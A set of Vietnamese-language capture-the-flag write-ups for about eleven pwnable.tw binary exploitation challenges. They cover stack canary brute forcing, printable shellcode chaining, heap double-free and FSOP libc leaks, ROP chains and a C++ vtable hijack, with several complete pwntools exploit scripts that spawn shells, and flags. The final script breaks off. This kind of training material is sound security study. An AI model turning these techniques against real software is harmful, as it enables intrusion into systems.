BabyStack [250 pts]
Can you find the password in the stack?
nc chall.pwnable.tw 10205
babystack
libc.so


main()

copy_input()

check_pass()
analyse
- trước khi in ra '>> ' ở mỗi vòng lặp, sẽ có thêm 1 bước generate cái random_password dài 16 bytes
sử dụng '/dev/urandom'
- sau đó ở cuối chương trình có 1 bước check trước khi return
memcmp(random_password,cana_check,0x10)
khá giống check canary, nhưng lần này là canary tận 16 bytes
- program chia làm 2 option chính:
- check_pass() : so sánh input với random_password bằng hàm
strncmp
- đúng in "Login Success !"
- sai in "Failed !"
- BUG
strncmp
: so tới NULL là dừng
- copy_input() : copy src vào stack
- *a1 là $rdi được truyền vào là char v6[64]
- ngoài ra có biến check mặc định = 0, khi vào check_pass() nếu "Login Success !" thì set = 1
- nhưng trước mỗi lần vào copy_input() hay check_pass() thì có điều kiện: if(check)
- copy_input() cần check=1 mới vào được
- check_pass() cần check=0 mới vào được
- check=1 thì sẽ reset về 0 khi chọn option check_pass()
brute password –- canary
- như đã đề cập từ trước, BUG của
strncmp
sẽ chỉ so tới NULL –-> có thể brute từng byte để leak random_password
- ta sẽ viết 2 vòng lặp lồng nhau, loop 16 byte, mỗi byte brute từ 1 đến 256
brute libc
- kết hợp cả tính năng
strcpy
từ copy_input(), ta sẽ padding lượng vừa đủ để nối chuỗi đến địa chỉ libc trên stack

padding 72 bytes nối chuỗi libc
- sau đó ta cần check=1 để đi tiếp copy_input() thì đơn giản là check_pass() cho NULL :
p64(0)
- rồi copy_input() padding lại 8 byte khác NULL
lúc này check=1 thì để brute, ta lại set check=0
sa(b'>> ',b'1') #set check=0
- tương tự như cách brute password, lần này vòng lặp ít hơn
do copy_input() là strcpy
vào char v6[64]
mà padding 72 + nối chuỗi vài byte libc
–-> overflow cả random_password

- chỉ cần 5 vòng cho 5 byte, vì 3 byte còn lại là
0x00007f
do debug local nên tạm thời thế 0x7f thành 0x15
padding 8 bytes 'a' là do lúc debug, libc ngay sau 8 byte 'a'

one gadget
- tương tự brute libc, ta cần payload return one_gadget nằm trên stack
–-> tiếp tục dùng copy_input()
- việc còn lại là adjust canary và lượng padding phù hợp

get flag

FLAG{Its_juS7_a_st4ck0v3rfl0w}
Alive Note [350 pts]
The last 23 days, write down your shellcode.
nc chall.pwnable.tw 10300
alive_note


main()

add_note()
có BUG OOB khi chỉ check idx < 10
nhập max 8 byte, check các byte ascii
thoả mãn thực thi strdup trả về ptr heap lưu vào note[idx]


show_note()
BUG OOB, show data trong note[idx]

del_note()
BUG OOB, xoá note[idx] bằng hàm free

check()
check các byte chữ HOA chữ THƯỜNG và số
analyse
- vì có BUG OOB, có free(note[idx]) nên nghĩ đến trigger free@GOT

offset = -27
- mỗi 1 note tối đa 8 byte và mỗi note là 1 heap được chain kế nhau trong heap chunk
- suy ra mỗi shellcode sẽ có bước nhảy để lồng các shellcode trong từng heap
- nếu để viết shellcode cho execve thì khá là khoai nên idea sẽ là call sysread rồi get_shell 1 loạt như bth cho dễ
writing shellcode
jne offset
: sử dụng 1 giá trị độ lệch tương đối giữa 2 khối đoạn nằm trong phạm vi pháp lý
- nếu dùng pwntool thì bị lỗi khi generate shellcode nên xem link byte shellcode trên biết được lệnh
jne
có byte là '\x75' (hoặc jnz
)
- về
int 0x80
thì dùng kỹ thuật xor
tương tự bài Death Note
jne
để nhảy thì nhảy cũng phải từ 0x30 trở lên (thoả mãn byte in được)
–-> chain shellcode cách vài chunk

registers trước khi thực thi shellcode
local thì $ebx chứa địa chỉ môi trường nhưng server sẽ = 0
setup run LOCAL
get shell

FLAG{Sh3llcoding_in_th3_n0t3_ch4in}
Heap Paradise [350 pts]
Let's go to heap paradise
nc chall.pwnable.tw 10308
heap_paradise
libc.so

- check ida (renamed do stripped)

main()

menu()
chia làm 3 option chính
tạo chunk, xoá chunk và thoát chtrinh

add()
tạo tối đa 15 chunks
mỗi chunk tạo có size tối đa 0x78
ptr mỗi chunk được lưu vào bss chunk

NOASLR : chunk = 0x555555602040

delete()
đơn giản là free chunk thôi
nhưng lại k set ptr = NULL
–-> DBF hoặc UAF
analyse
- 1 chtrinh đơn giản chỉ tạo chunk, xoá chunk
- không có option nào in ra data
- phải định hướng làm sang FSOP
- challenge đi kèm libc2.23 –-> không có tcache
- lấy shell bằng
__malloc_hook
make ubin
- đầu tiên ta phải tạo fake_chunk, cũng như set fake_next_size
- bước này đơn giản thôi
- DBF để sửa fastbin trỏ về fake_chunk
- sau đó sửa size fake_chunk lên 0xa1 (out of range fastbin) rồi cuối cùng free nó
brute force FSOP
- khúc này ta sẽ tận dụng cơ chế phân bổ chunk khi có ubin (xem thêm)
- ta sẽ tạo 1 chunk khác với size cũ, để malloc phân bổ ubin từ size 0xa1 xuống
tránh malloc cùng size để reused fastbin
- rồi data sẽ set fake_size cũng như ow 1 byte trỏ đến main_area
- lần malloc tiếp theo với size cũ sẽ có khả năng ow cả main_area
- ta sẽ ow 2 bytes biến main_area thành 1 addr_libc khác
logical thinking sẽ ow 2 byte nào đó là 1 fake_chunk có sẵn fake_size
- để FSOP thì liên quan đến stdout, ta sẽ ow địa chỉ trước stdout là stderr và kiếm 1 địa chỉ sao cho có size 0x7f (byte libc)

do DEBUG LOCAL có NOASLR nên byte là 0x15, giả định bỏ NOASLR là byte 0x7f
- nhận thấy rằng ở
_IO_2_1_stdout - 0x43
có size thoả mãn, ta sẽ ow đúng 2 bytes b'\xdd\x45'
- về target để leak libc trong FSOP, có thể xem thêm

_flags = 0xfbad1800
write_base < write_ptr : sửa 46a3 thành 4688
0x88 < 0xa3 : thoả
0x88 : chứa địa chỉ stdin

offset = 0x3c38e0
ow __malloc_hook = one_gadget
- tới bước này là dễ rồi, tương tự các bài khác
xem kỹ thuật

get flag

from pwn import *
context.binary = exe = ELF('./heap_paradise_patched',checksec=False)
libc = ELF('./libc_64.so.6',checksec=False)
ld = ELF('./ld-2.23.so',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x555555400d66
b*0x555555400dcd
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
def add(size, data):
sla(b'You Choice:',b'1')
sla(b'Size :',str(size))
sa(b'Data :',data)
def delete(idx):
sla(b'You Choice:',b'2')
sla(b'Index :',str(idx))
while True:
if args.REMOTE:
p = remote('chall.pwnable.tw',10308)
else:
p = process(exe.path)
payload = flat(
0,0,
0,0x71
)
add(0x68,payload)
payload = flat(
0,0,
0,0,
0,0,
0,0,
0,0x21
)
add(0x68,payload)
delete(0)
delete(1)
delete(0)
add(0x68,b'\x20')
add(0x68,b'A')
add(0x68,b'B')
add(0x68,b'C')
delete(0)
payload = flat(
0,0,
0,0xa1
)
add(0x68,payload)
delete(5)
delete(0)
delete(1)
payload = flat(
0,0,
0,0,
0,0,
0,0,
0,0x71
)
payload += b'\xa0'
add(0x78,payload)
delete(7)
brute = p64(libc.sym['_IO_2_1_stdout_'] - 0x43)[:2]
payload = flat(
0,0,
0,0,
0,0x71
)
payload += brute
add(0x68,payload)
add(0x68,brute)
_flags = 0xfbad1800
payload = b'\0'*0x33
payload += p64(_flags)
payload += p64(0) * 3 + b'\x88'
try:
add(0x68,payload)
except EOFError:
continue
leak = p.recv(6)
if leak != b'*'*6:
libc_leak = u64(leak.ljust(8,b'\0'))
libc.address = libc_leak - 0x3c38e0
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
break
else:
p.close()
delete(0)
delete(1)
delete(0)
gadget = [0x45216,0x4526a,0xef6c4,0xf0567]
one_gadget = libc.address + gadget[2]
add(0x68,p64(libc.sym['__malloc_hook']-0x23))
add(0x68,b'A')
add(0x68,b'B')
add(0x68,b'a'*0x13 + p64(one_gadget))
delete(0)
delete(0)
p.interactive()
FLAG{W3lc0m3_2_h3ap_p4radis3}
Spirited Away [300 pts]
Thanks for watching Spirited Away !
Please leave some comments to help us improve our next movie !
nc chall.pwnable.tw 10204
spirited_away
libc.so



survey()
biến name_buf là ptr cho malloc(60)
loop lại thì free(name_buf) rồi memset() cho comment
analyse
- run chay binary thì thấy 1 khả năng leak từ %s

leak được libc, stack, v.v..
- ngoài ra còn 1 bug khác ít để ý tới là lỗi off-by-one đến từ hàm sprintf()
- biến v1 được khai báo là 56,

chuỗi %d comment so far. We will review them as soon as we can
vừa hay đủ 56 byte
- hàm đó sẽ copy định dạng
%d
từ biến cnt và cả chuỗi đó vào
- đồng nghĩa nếu biến cnt trong phạm vi 0<cnt<99 sẽ vẫn ở trạng thái 56 byte
"%d" là 2, cnt khi ở 2 digits vẫn k vấn đề gì
- nhưng cnt là 3 digits sẽ overflow xuống biến size_60 1 byte là "n" trong từ "can"
từ size 60 thành size 0x6e ("n")
===> BOF cho biến name_buf và comment
leak primitive
- leak libc và leak stack là dễ rồi
ret2system
- đầu tiên ta phải padding đến khi thành size 0x6e
phải chia 2 giai đoạn padding khác nhau vì trong lúc DEBUG, có vài đoạn bị pass qua mà không cần nhập
chỉnh lại hàm
- nhớ thứ tự biến trong ida là comment[80] -> *name_buf -> reason[80]
- và thứ tự ghi data là name_buf -> age -> reason -> comment
- vì reason gần $eip nhất mà lại không BOF được, nên ta sẽ fake name_buf thành stack_need gần $eip
- nhưng name_buf lại là ptr chứa heap chunk, để fake không bị lỗi ta phải setup stack_need thành fake_chunk có fake_size 0x41
- cũng không quên set cho cả next_size của fake_chunk

loop gần 100 vòng nên next_chunk có size tận 0x1008
- sau reason là tới comment có khả năng BOF ow được name_buf
- cuối cùng thì ow $eip là system() là xong
get flag

De-ASLR [500 pts]
Do you know how to Defeat ASLR?
nc chall.pwnable.tw 10402
deaslr
libc.so


main()
analyse
- chỉ 1 hàm gets, không hàm nào possible để in ra
- ban đầu nghĩ tới ret2dlresolve, nhưng nhìn security check thì thấy Full RELRO
- sau khi nhận được hint là BUG sẽ xuất hiện khi ta trigger gets twice
- trigger gets tức là mình phải ghi cái gì đó
- để leak libc bằng FSOP ta cũng phải ghi đè
flags = 0xfbad1800
chẳng hạn
- và get shell bằng system thì ta phải call tới nó

khi leak libc bằng FSOP thì khó mà đưa system("/bin/sh") vào stack
nên ta chọn cái call qword ptr [rbp + 0x48]
stack pivot
- đầu tiên để ROP thì ta sẽ stack pivot vào 1 addr r_w_section
ROP + FSOP
- vì mục tiêu là
rbp + 0x48
nên target_addr sẽ chứa system
- ta sẽ trigger gets 2 lần, lần 1 chỉ '\n', lần 2 sẽ cho FSOP
- dừng lại sau khi gets lần 1:

nhìn thấy $rdi là _IO_2_1_stdin
lần gets thứ 2 sẽ thay đổi được file structure
- ta sẽ leak libc_start_main

0x600fe0
- việc sau đó là call gets lần nữa để ghi system và "/bin/sh\0"
- rồi setup $rdi cho "/bin/sh\0" rồi
call qword [rbp + 0x48]
get flag

FLAG{R0P_H4rd_TO_D3F3AT_ASLR}
MnO2 [400 pts]
Give me some compound. No more than 31337 mole.
nc chall.pwnable.tw 10301
mno2


main()


check()

find()

&elements

analyse
- tạo mmap cho địa chỉ 0x324F6E4D (b'MnO2') có size 0x8000 và prot=7
- sau đó set NULL cuối payload
- rồi tới hàm check()
- hàm check() sẽ filter payload ta lại, cho phép các byte in được (ascii) và thoả mãn là 1 nguyên tố hoá học (element) và hoá trị (valence)
table = [
'H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F',
'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl',
'Ar', 'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn',
'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As',
'Se', 'Br', 'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb',
'Mo', 'Tc', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In',
'Sn', 'Sb', 'Te', 'I', 'Xe', 'Cs', 'Ba', 'La',
'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb',
'Dy', 'Ho', 'Er', 'Tm', 'Yb', 'Lu', 'Hf', 'Ta',
'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl',
'Pb', 'Bi', 'Po', 'At', 'Rn', 'Fr', 'Ra', 'Ac',
'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk',
'Cf', 'Es', 'Fm', 'Md', 'No', 'Lr', 'Rf', 'Db',
'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Fl', 'Lv'
]
- nhưng cùi mía ở chỗ hoá trị không nhất thiết phải đúng là 1, 2 hay 3 (chỉ check hoá trị là số sẽ sau 1 nguyên tố) –-> BUG: chain custom shellcode
- TARGET: shellcode sẽ setup read( 3 , shellcode_addr , huge_size ) để thực thi read 1 lần nữa rồi call execve
writing shellcode
- khá giống bài
Alive Note
, nhưng khó hơn ở chỗ các byte là nguyên tố hoá học –-> periodic_shellcode
- link byte shellcode
- link chain shellcode
- đầu tiên trong mớ nguyên tố ta lọc được các byte liên quan đến 4 thanh ghi 32bits như sau

get flag

from pwn import *
context.arch = 'i386'
context.binary = exe = ELF('./mno2',checksec=False)
p = remote('chall.pwnable.tw', 10301)
table = [
'H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F',
'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl',
'Ar', 'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn',
'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As',
'Se', 'Br', 'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb',
'Mo', 'Tc', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In',
'Sn', 'Sb', 'Te', 'I', 'Xe', 'Cs', 'Ba', 'La',
'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb',
'Dy', 'Ho', 'Er', 'Tm', 'Yb', 'Lu', 'Hf', 'Ta',
'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl',
'Pb', 'Bi', 'Po', 'At', 'Rn', 'Fr', 'Ra', 'Ac',
'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk',
'Cf', 'Es', 'Fm', 'Md', 'No', 'Lr', 'Rf', 'Db',
'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Fl', 'Lv'
]
shellcode = asm('''
push eax
pop ecx
inc edx
push 0x30303030
pop eax
gs inc edx
xor eax, 0x30303030
dec eax
inc edx
push 0x30303030
xor byte ptr [ecx+0x67],al
inc ecx
addr16 inc edx
push 0x30303030
xor byte ptr [ecx+0x67],al
inc edx
push 0x30303030
pop eax
gs inc edx
push 0x30303030
xor byte ptr [ecx+0x67],al
xor eax, 0x30303033
''')
shellcode += b'NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN2O'
pl = b'PYBh0000XeB50000HBh00000AgAgBh00000AgBh0000XeBh00000Ag53000NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN2O'
p.sendline(shellcode)
p.sendline(b'\x90'*0x6a + asm(shellcraft.sh()))
p.interactive()
FLAG{4(7|-||>4|_||\||>|>|_|4|\/|(|\/|b|<(|=35|=|\/||\/|d|\|0|_.-}
calc [150 pts]
Have you ever use Microsoft calculator?
nc chall.pwnable.tw 10100
calc


main()

calc()

get_expr()
đọc từng byte
white-list [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, -, +, /, *, %]

init_pool()


parse_expr()

eval()
analyse
- sau khi thử 1 số run test, ta nhận được các info sau
- biểu thức complicated 👉 output wrong answer
- biểu thức lỗi : '12 - - 2' 👉 expression error !
- biểu thức số học : '+12' 👉 weird output

- chung quy lỗi "expression error!" xuất hiện khi kế kí tự phép toán lại là 1 kí tự phép toán khác
- note lại vài địa chỉ và code
- phân tích tại sao '+12' ra 0
debug đặt breakpoint ở b*calc+121
sau parse_expr()

highlight trắng là count
highlight vàng là count[count[12]]
lúc này là NULL nên in ra 0
canary ở $esp+0x5ac, count ở $esp+0x18
(0x5ac-0x18)/4 = 357
input: +357
breakpoint b*calc+157
sau printf

chuẩn bài

stack smashing ???
thế '+12' đó, là có thể thay đổi canary ư
- nếu thay đổi được value, thì giả sử tại đó value âm, ta chỉ cần '+' bù là ra 0 rồi cộng tiếp data
- nhưng đừng quên là có filter 2 phép toán liên tiếp nên thay vì '+' ta sẽ '-'
nôm na là '-' với '-' ra '+'
- conclusion:
- leak arbitrary on stack
- change value arbitrary on stack
ROP chain
- đã ow thoải mái, ngại gì không ROP
- canary là +357: $ebp-0xc –-> +360: $ebp –-> +361: $eip
- $ebx cần 1 địa chỉ trỏ tới '/bin/sh\0'
- ta sẽ truyền tay '/bin/sh\0' rồi đưa vào 1 địa chỉ bằng gadget
add ptr[e__], e__ ; ret
- còn lại là setup gọi execve
get flag

FLAG{C:\Windows\System32\calc.exe}
Re-alloc Revenge [350 pts]
Realloc the world!
nc chall.pwnable.tw 10310
re-alloc_revenge
libc.so


main()

allocate()

reallocate()

rfree()
analyse
- source tương đồng bài Re-alloc, nhưng ở đây PIE bật nên exe dynamic
- libc 2.29 nên có cơ chế bảo vệ ở bk_pointer, tận dụng option2 là realloc để modify null
- note là trong quá trình DEBUG, luôn set các giá trị thoả mãn cho giả định để brute
pwndbg> set *addr = value
make ubin
- trigger DBF rồi sửa 2 byte trỏ về tcache_perthread_struct, sửa tiếp count=7 để free vào ubin
free ngay đầu thread nên có size là 0x251 (size của tcache)
cần sửa count=7 ngay entry 0x250
- tỉ lệ cho sửa tcache_perthread_struct là 1/16

2 byte
1 byte cố định \x10
1 byte còn lại trong đó nửa byte biết trước \x_0, tỉ lệ cho nửa byte còn lại là 0x0 đến 0xf ~ 1/16
- tỉ lệ thất bại sẽ nằm trong 2 khả năng
- ngoài phạm vi heap: báo lỗi
delete(): invalid pointer
- trong heap nhưng sai ptr: EOFError
leak libc
- nếu thành công qua tiếp leak libc bằng FSOP (cũng tỉ lệ sucess là 1/16)
chọn _IO_2_1_stdout

0x77af6933b758 (lui 8 để malloc lại đúng b760)
2 byte
1 byte cố định \x58
1 byte, nửa byte biết trước là \x_7, nửa byte còn lại hên xui
free_hook = system
- payload cho lúc leak libc sẽ gồm luôn '/bin/sh\0'
- làm ptr lúc free là chunk chứa '/bin/sh\0'
–-> delete(idx) chunk bớt trước khi send payload cho FSOP
- ta sẽ tận dụng tcache để malloc ra free_hook

idx0 là stdout-8
idx1 là còn tcache_perthread_struct
chọn edit(1)

sẽ ghi free_hook ở địa chỉ tô xanh đó
có size là 0x20

(nhìn 0x50 lui xuống)
- sau đó xoá idx1 đi rồi add cái mới ghi system (sie 0x20)
- rồi trigger bằng cách delete nơi idx là payload FSOP

get flag
- tỉ lệ ăn shell là 1/16 * 1/16 =))))


from pwn import *
context.binary = exe = ELF('./re-alloc_revenge_patched',checksec=False)
libc = ELF('./libc-9bb401974abeef59efcdd0ae35c5fc0ce63d3e7b.so',checksec=False)
ld = ELF('./ld-2.29.so',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*menu+119
b*reallocate+194
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
def add(idx, size, data):
sla(b'Your choice: ',b'1')
sla(b'Index:',str(idx))
sla(b'Size:',str(size))
sa(b'Data:',data)
def edit(idx, size, data):
sla(b'Your choice: ',b'2')
sla(b'Index:',str(idx))
sla(b'Size:',str(size))
if size == 0:
return
sa(b'Data:',data)
def delete(idx):
sla(b'Your choice: ',b'3')
sla(b'Index:',str(idx))
while True:
while True:
p = remote('chall.pwnable.tw', 10310)
GDB()
add(0,0x48, b'aaaa')
edit(0,0, b'')
edit(0,0x48, b'\0'*0x10)
edit(0,0, b'')
edit(0, 0x48, b'\x10\x80')
add(1, 0x48, b'aaaa')
edit(1, 0x58, b'AAAA')
delete(1)
try:
add(1, 0x48, b'\0' * 0x23 + b'\x07')
edit(1, 0, b'')
message = p.recvline()
if message == b'free(): invalid pointer\n':
raise EOFError('Incorrect Guess')
break
except EOFError:
p.close()
info("##################")
info("# stage2 #")
info("##################")
edit(1, 0x48, b'\x58\x87')
edit(0, 0x38, b'\0'*0x10)
delete(0)
add(0, 0x48, b'A')
delete(0)
try:
add(0, 0x40, b'/bin/sh\0' + p64(0xfbad1800) + p64(0) * 3)
leak = p.recvline()
if leak.startswith(b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$'):
raise EOFError('Incorrect Guess')
break
except EOFError:
p.close()
libc_leak = u64(leak[8:16])
libc.address = libc_leak - 0x1e7570
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
edit(1, 0x48, p64(0) * 8 + p64(libc.sym['__free_hook']))
delete(1)
add(1, 0x18, p64(libc.sym['system']))
delete(0)
p.interactive()
FLAG{r3alloc_the_heap_r3alloc_the_file_Str34m_r3alloc_my_lif3}
Starbound [250 pts]
Let's play starbound together!
multi-player features are disabled.
nc chall.pwnable.tw 10202
starbound

- khi run file, có thể thấy sẽ thiếu 1 số libc nên trong script có để lệnh tải bổ sung nếu máy bạn chưa có
thiếu nữa thì hỏi chat gpt đi nha =))))

main()
về mấy hàm khác khá là nhiều, nên tóm gọn lại có 7 options

run binary

show_main_menu()
đi qua lần lượt các hàm thì có mỗi hàm cmd_setting() dường như có BUG
sẽ không chụp màn hình tất cả func, do một số không có gì để khai thác

cmd_setting()
cụ thể là option 2

cmd_set_name()
dù file là not stripped nhưng mình vẫn rename một số hàm và biến

name = 0x80580d0
analyse
- thấy là read() vào biến name tận 100 bytes, và name lại là phân vùng bss
- sau đó set cuối payload là 0 (chắc gửi sendline để set 0xa về 0x0)
- khi chọn option 6 là cmd_setting() thì khi loop lại main() sẽ thay đổi menu() từ show_main_menu() sang show_settings_menu()

- BUG ở trong chính hàm main() , hàm strtol lấy số từ chuỗi, rồi từ số đó mà thực thi *option[choice]

không hề check số âm
===> Out of bound
- logical thinking: trỏ option về name để thực thi, đồng thời name là 1 địa chỉ thực thi được

offset = -33
- vì khả năng read() tận 256 byte nên có thể setup payload thực thi ROPchain
ROP
- chall này có nhiều hàm được đề cập trong đây

thấy đủ cả open , read và write
- z chain ROP là orw đọc flag thôi
- thường format flag là '/home/<chall>/flag'
phán đoán từ mấy bài trước
kết luận là '/home/starbound/flag'

- payload nhập từ đây, đồng nghĩa ta cần kiếm gadget nào đó tăng $esp lên rồi ret

0x08048e48
- rồi từ đó gia giảm padding phù hợp để ret
orw

dù $ebx nên là đường dẫn flag nhưng ở đây lại lấy $ecx

open thành công return 3
0 1 2 ứng std in out err
từ 3 trở lên là đối với tệp tin hoặc socket được mở
–-> ở read cần fd = 3
- sau khi open, nó sẽ return tiếp theo, thì ta sẽ lấy gadget này

tăng $esp lên 8 rồi pop ebx
bỏ qua 3 stack (3 thanh ghi setup cho việc call)
quá ư là phù hợp

ở bước read này, ta cần ebx=3, ecx=rw_section, edx=100
read vậy cho thoải mái

ok vậy xong, việc còn lại là write ra tại rw_section đó thôi

- lúc này là xong, ta không cần return sau write nào hết nên để gì cũng được
get flag

- maybe bài này có thể dùng cách khác ngoài orw
đang nghĩ đến ret2dlresolved để get_shell
FLAG{st4r_st4r_st4r_b0und}
criticalheap [200 pts]
There are some secrets . Try to capture /home/critical_heap++/flag
.
We recommend you to use the provided docker environment to develop your exploit:
nc chall.pwnable.tw 10500
critical_heap.tar.gz


main()

add()
mỗi lần chọn option này, sẽ tạo 1 index mới (max 10 cái)
yêu cầu nhập name rồi sau đó dùng hàm strdup() tạo ptr heap chứa name

sau đó cho mình 3 lựa chọn

normal()
tạo struct như sau

clock()
tạo struct như sau

system()
tạo struct như sau


show()
sau khi nhận index, nó sẽ check tại đó là function gì bằng cách lấy giá trị tại heap[idx+2] tức là cái struct ở 0x10

edit()
đơn giản là sửa name (lấy len bằng name lúc đầu)
không có BUG

play()
tương tự như show(), lần này nó triển khai thêm 3 func khác

normal_func()

- option1, thấy được có BUG fmtstr ở đây khi dùng hàm __printf_chk() mà không format
- option2, cho phép ta thay đổi content, rồi set cuối struct là địa chỉ gì đó

clock_func()

- option1, in ra time trên heap
- option2, update time


system_func()

- option1, input name và value, nó sẽ set environment bằng setenv(name,value)
- option2, unsetenv() thôi, ngược với option1
- option3, lấy đường dẫn, không có gì đặc biệt
- option4, dùng getenv() để lấy biến môi trường, nếu không chọn 'USER' (+0x28) hay 'SYS' (+0x30), nó sẽ gán ở struct + 0x20

delete()
xoá heap nhưng không dùng free()
tức là chỉ xoá index trên biến heap
maybe có vulnerable

heap = 0x604040
analyse
- source khá dài và mệt đầu, nhưng thắc mắc hàm localtime() nó sẽ làm gì

https://codebrowser.dev/glibc/glibc/time/localtime.c.html#30
jump vào hàm __tz_convert()

https://codebrowser.dev/glibc/glibc/time/tzset.c.html#__tz_convert
lại jump vào hàm tzset_internal()

https://codebrowser.dev/glibc/glibc/time/tzset.c.html#tzset_internal
lấy biến môi trường là TZ
gán vào tz
kiểm tra data của tz

ở đây thấy nếu tz khác NULL, nó sẽ cố gắng đọc file bằng hàm __tzfile_read
- túm lại nếu ta có thể set được biến môi trường
TZ
là đường dẫn tới flag, là ta có flag trên file rồi
- lục lại kí ức, hàm system_func() có chức năng đó –-> ngol liền
- thêm cái nữa có fmtstr, z dùng '%s' leak ra thôi
- NHƯNG MÀ …
- return value của localtime() là 1 địa chỉ heap
–-> leak heap
leak heap
- ở đây ta sẽ tận dụng BUG không xoá 'hoàn toàn' heap ở hàm delete()
- ngẫm lại, system_func() chọn option 3 sẽ gán return_value của getenv() ở struct+0x20
- thêm cái nữa ở normal(), khi add() tạo heap với option1, nó input content ở 0x18 và hàm show() nó dùng '%s' để in
- problem solved =)))))
- work flow:
change env
print flag
- dùng option2 khi tạo mới heap
- debug chậm ở __tzfile_read() để lấy giá trị heap trả về, tính offset

kiểm tra arg

read thành công
- rồi ta vào normal_func() chọn option2 để thay đổi content rồi option1 để dùng fmtstr
- lưu ý là hàm __printf_chk() là biến thể của printf(), không phải là hàm tiêu chuẩn, sự khác nhau nằm ở phiên bản và môi trường cụ thể
nôm na là không thể dùng '$' để trỏ đến địa chỉ cụ thể
ta dùng '%c' padding vừa đủ argument và căn chỉnh địa chỉ heap chứa flag trên stack

note
- lưu ý cái nữa là trên local và server khác nhau về current time, nên kết hợp với Dockerfile như description bảo và lấy offset cho đúng
- dưới đây mình có sửa lại file như sau
Dockerfile
docker-compose.yml
get flag

FLAG{Oh_y0u_f1nd_th3_s3cr3t_1n_loc4ltim3}
Ghost Party [450 pts]
Welcome to ghost island and enjoy the ghost party.
nc chall.pwnable.tw 10401
ghostparty
ghostparty.cpp
libc.so

nay đổi gió làm trên WSL =)))
dài lắm nên k patse vào đây nha
các đồng chí tự coi source rồi ở mục analyse sẽ phân tích
analsye
- trước hết đây là file .cpp nên cách khai thác sẽ hoàn toàn khác so với file .c ta thường gặp
https://hackmd.io/@trhoanglan04/pwningCpp
- source sẽ tạo class cha Ghost
khởi tạo (constructor)
sao chép (copy constructor)
huỷ (destructor)
–-> cấu trúc của Rule of Three in C++
wolf, devil, zombie, skull, mummy, dullahan, vampire, yuki, kasa, alan
- vấn đề là ở class Vampire:
ở class này nó không thiết lặp 'copy constructor'
mà lại có destructor
nên khi gán bằng operator =
sẽ tạo shallow copy
shallow copy là copy y nguyên ban đầu
nếu class đó đã chứa 1 ptr thì nó sẽ copy ptr đó
thay vì phải tạo 1 ptr mới rồi copy dữ liệu vào ptr đó
nên khi call destructor sẽ free ptr đó
trong khi ptr của cái class ban đầu vẫn trỏ đến
–-> UAF
lưu ý trong C++ mỗi new
nó sẽ tạo heap
nó dùng .clear()
tức là nó k dùng free chunk
- ở class Devil có lẽ đầy đủ nhất
mấy class còn lại tự coi nhé
- sau khi chọn type ghost thì tới bước này:
để mà sử dụng UAF ta phải xem sét option1 và option3
chỉ khác nhau sau khi .push_back()
, option3 có thêm speaking(*ghost);
- tham số speaking() là 1 class
thực ra nó không tham chiếu đến class mình đưa vào mà tạo 1 class MỚI giống class mình truyền vào
–-> copy class mới vào ghost
–-> ghost chứa speak()
thuộc speaking()
–-> gọi destructor bình thường
- idea work flow cho bài này là:
- ow vfptr thành one_gadget
hijack the vfptr because the vfptr is writeable
leak heap

thực ra value trên tượng trưng thôi, bị sai
nhưng thực thế run bên server đúng nha
leak exe
- tận dụng lỗi trên, ta có thể leak exe base cũng như vtable bằng cách dùng copy constructor từ class Devil

leak libc
- ở leak libc, ta sẽ ow vfptr để cái nó gọi thực ra là cái mình ow
- offset trên server hơi khác so với local (có lẽ khác Ubuntu hay 1 vấn đề nào khác) nên sẽ dùng readelf để lấy offset

0x20740
one_gadget
- việc còn lại là trigger vtable
get flag

nếu các đồng chí đã pwninit mà run file patched bị thiếu libc
from pwn import *
exe = ELF('./ghostparty', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x555555405269
#memcpy in vampire
#b*0x555555404BE0
b*0x555555407f89
#show blood vampire
b*0x555555403add
#message
c
''')
input()
if args.REMOTE:
